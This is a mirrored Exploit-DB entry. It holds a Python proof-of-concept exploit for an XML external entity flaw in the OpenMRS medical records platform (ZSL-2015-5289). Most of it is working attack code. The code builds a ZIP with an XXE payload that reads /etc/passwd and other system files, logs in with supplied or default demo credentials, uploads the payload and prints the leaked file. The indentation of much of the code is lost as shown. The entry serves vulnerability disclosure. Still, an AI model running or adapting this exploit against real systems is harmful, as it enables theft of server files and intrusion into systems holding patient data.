OpenMRS 2.3 (1.11.4) – XML External Entity Processing

  • 作者: LiquidWorm
    日期: 2015-12-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/38896/
  • #!/usr/bin/env python
    #
    # OpenMRS 2.3 (1.11.4) XML External Entity (XXE) Processing PoC Exploit
    #
    #
    # Vendor: OpenMRS Inc.
    # Product web page: http://www.openmrs.org
    # Affected version: OpenMRS 2.3, 2.2, 2.1, 2.0 (Platform 1.11.4 (Build 6ebcaf), 1.11.2 and 1.10.0)
    # OpenMRS-TB System (OpenMRS 1.9.7 (Build 60bd9b))
    #
    # Summary: OpenMRS is an application which enables design of a customized medical
    # records system with no programming knowledge (although medical and systems analysis
    # knowledge is required). It is a common framework upon which medical informatics
    # efforts in developing countries can be built.
    #
    # Desc: The vulnerability is caused due to an error when parsing XML entities within
    # ZIP archives and can be exploited to e.g. disclose data from local resources or cause
    # a DoS condition (billion laughs) via a specially crafted XML file including external
    # entity references.
    #
    #
    # Tested on: Ubuntu 12.04.5 LTS
    #Apache Tomcat/7.0.26
    #Apache Tomcat/6.0.36
    #Apache Coyote/1.1
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    # @zeroscience
    #
    #
    # Advisory ID: ZSL-2015-5289
    # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5289.php
    #
    # Affected: OpenMRS Core, Serialization.Xstream module, Metadata Sharing module
    # Severity: Major
    # Exploit: Remote Code Execution by an authenticated user
    #
    # Vendor Bug Fixes:
    #
    # Disabled serialization and deserialization of dynamic proxies
    # Disabled deserialization of external entities in XML files
    # Disabled spring's Expression Language support
    #
    # https://talk.openmrs.org/t/openmrs-security-advisories-2015-11-30/3868
    # https://talk.openmrs.org/t/critical-security-advisory-2015-11-25/3824
    # https://wiki.openmrs.org/display/RES/Release+Notes+2.3.1
    # http://openmrs.org/2015/12/reference-application-2-3-1-released/
    # https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.9.10
    # https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.10.3
    # https://wiki.openmrs.org/display/RES/Platform+Release+Notes+1.11.5
    # https://modules.openmrs.org/modulus/api/releases/1308/download/serialization.xstream-0.2.10.omod
    # https://modules.openmrs.org/modulus/api/releases/1309/download/metadatasharing-1.1.10.omod
    # https://modules.openmrs.org/modulus/api/releases/1303/download/reporting-0.9.8.1.omod
    #
    # OpenMRS platform has been upgraded to version 1.11.5
    # Reporting module has been upgraded to version 0.9.8.1
    # Metadata sharing module has been upgraded to version 1.1.10
    # Serialization.xstream module has been upgraded to version 0.2.10
    #
    # Who is affected?
    #
    # Anyone running OpenMRS Platform (1.9.0 and later)
    # Anyone running OpenMRS Reference Application 2.0, 2.1, 2.2, 2.3
    # Anyone that has installed the serialization.xstream module except for the newly released 0.2.10 version.
    # Anyone that has installed the metadatasharing module except for the newly released 1.1.10 version.
    #
    #
    # 02.11.2015
    #
    
    
    import itertools, mimetools, mimetypes
    import cookielib, urllib, urllib2, sys
    import time, datetime, re, zipfile, os
    import binascii
    
    from urllib2 import URLError
    
    global bindata
    
    piton = os.path.basename(sys.argv[0])
    
    def bannerche():
    	print '''
     @-------------------------------------------------@
     | |
     |OpenMRS 2.3 Authenticated XXE Exploit|
     | ID: ZSL-2015-5289 |
     | Copyleft (c) 2015, Zero Science Lab |
     | |
     @-------------------------------------------------@
    '''
    	if len(sys.argv) < 4:
    		print '\n[+] Usage: '+piton+' <host> <port> <path> \n'
    		print '[+] Example: '+piton+' uat05.zeroscience.mk 8080 openmrs\n'
    		sys.exit()
    
    bannerche()
    
    print '[+] Date: '+str(datetime.date.today())
    
    payload = '''<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ZSL [
     <!ENTITY xxe1 SYSTEM "file:////etc/passwd" >
     <!ENTITY xxe2 SYSTEM "file:///etc/resolv.conf" >
     <!ENTITY xxe3 SYSTEM "file:///etc/issue" >]>
    <package id="1" uuid="eecb64f8-35b0-412b-acda-3d83edf4ee63">
    <dateCreated id="2">2015-11-06 10:47:19</dateCreated>
    <name>&xxe1;</name>
    <description>&xxe2;</description>
    <openmrsVersion>&xxe3;</openmrsVersion>
    <version>1</version>
    </package>'''
    
    print '[+] Creating header.xml file.'
    file = open('header.xml', 'w')
    file.write(payload)
    file.close()
    time.sleep(1)
    print '[+] Packing evil XML file.'
    
    with zipfile.ZipFile('xxe.zip', 'w') as devzip:
    devzip.write('header.xml')
    	
    os.remove('header.xml')
    print '[+] XML file vacuumed.'
    time.sleep(1)
    
    filename = 'xxe.zip'
    with open(filename, 'rb') as f:
    content = f.read()
    hexo = binascii.hexlify(content)
    bindata = binascii.unhexlify(hexo)
    
    print '[+] File xxe.zip successfully created!'
    print '[+] Initialising communication.'
    
    host = sys.argv[1]
    port = sys.argv[2]
    path = sys.argv[3]
    
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    print '[+] Probing target http://'+host+':'+port+'/'+path+'/'
    
    try:
    	checkhost = opener.open('http://'+host+':'+port+'/'+path+'/login.htm')
    	hostresp = checkhost.read()
    except urllib2.HTTPError, errorzio:
    	if errorzio.code == 404:
    		print '[+] Error:'
    		print '[+] Check your path entry!'
    		print
    		sys.exit()
    except URLError, errorziocvaj:
    	if errorziocvaj.reason:
    		print '[+] Error:'
    		print '[+] Check your hostname entry!'
    		print
    		sys.exit()
    
    print '[+] Target seems OK.'
    print '[+] Login please:'
    
    print '''
    Username:doctornurseclerksysadminadminscheduler
    Password: Doctor123 Nurse123 Clerk123 Sysadmin123 Admin123 Scheduler123
    '''
    
    username = raw_input('[*] Enter username: ')
    password = raw_input('[*] Enter password: ')
    
    login_data = urllib.urlencode({
    	'username' : username,
    	'password' : password,
    	'sessionLocation' : '3',
    	'redirectUrl' : '/'+path+'/module/metadatasharing/import/list.form'
    })
    
    login = opener.open('http://'+host+':'+port+'/'+path+'/login.htm', login_data)
    auth = login.read()
    
    for session in cj:
    	sessid = session.name
    
    print '[+] Mapping session ID.'
    ses_chk = re.search(r'%s=\w+' % sessid , str(cj))
    cookie = ses_chk.group(0)
    print '[+] Cookie: '+cookie
    
    if re.search(r'Invalid username/password. Please try again', auth):
    	print '[+] Incorrect username or password.'
    	print
    	sys.exit()
    else:
    	print '[+] Authenticated!'
    
    
    opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/list.form')
    print '[+] Sending payload.'
    
    class MultiPartForm(object):
    
    def __init__(self):
    self.form_fields = []
    self.files = []
    self.boundary = mimetools.choose_boundary()
    return
    
    def get_content_type(self):
    return 'multipart/form-data; boundary=%s' % self.boundary
    
    def add_field(self, name, value):
    self.form_fields.append((name, value))
    return
    
    def add_file(self, fieldname, filename, fileHandle, mimetype=None):
    body = fileHandle.read()
    if mimetype is None:
    mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
    self.files.append((fieldname, filename, mimetype, body))
    return
    
    def __str__(self):
    
    parts = []
    part_boundary = '--' + self.boundary
    
    parts.extend(
    [ part_boundary,
    'Content-Disposition: form-data; name="%s"' % name,
    '',
    value,
    ]
    for name, value in self.form_fields
    )
    
    parts.extend(
    [ part_boundary,
    'Content-Disposition: file; name="%s"; filename="%s"' % \
     (field_name, filename),
    'Content-Type: %s' % content_type,
    '',
    body,
    ]
    for field_name, filename, content_type, body in self.files
    )
    
    flattened = list(itertools.chain(*parts))
    flattened.append('--' + self.boundary + '--')
    flattened.append('')
    return '\r\n'.join(flattened)
    
    if __name__ == '__main__':
    form = MultiPartForm()
    form.add_field('file"; filename="xxe.zip', bindata)
    form.add_field('url', '')
    request = urllib2.Request('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
    request.add_header('User-agent', 'joxypoxy 6.5')
    body = str(form)
    request.add_header('Origin', 'http://'+host+':'+port)
    request.add_header('Accept-Encoding', 'gzip, deflate')
    request.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
    request.add_header('Accept-Language', 'en-US,en;q=0.8')
    request.add_header('Cache-Control', 'max-age=0')
    request.add_header('Upgrade-Insecure-Requests', '1')
    request.add_header('Referer', 'http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/upload.form')
    request.add_header('Content-type', form.get_content_type())
    request.add_header('Cookie', cookie)
    request.add_header('Content-length', len(body))
    request.add_data(body)
    request.get_data()
    urllib2.urlopen(request).read()
    
    
    time.sleep(1)
    print '[+] Retrieving /etc/passwd:'
    time.sleep(2)
    getinfo = opener.open('http://'+host+':'+port+'/'+path+'/module/metadatasharing/import/validate.form')
    readinfo = getinfo.read()
    striphtml = re.sub("<.*?>", "", readinfo)
    match = re.search(r'root:.*/bin/bash', striphtml, re.DOTALL)
    print '\n--------------------------------------------------------'
    print match.group(0)
    print '--------------------------------------------------------'
    
    sys.exit()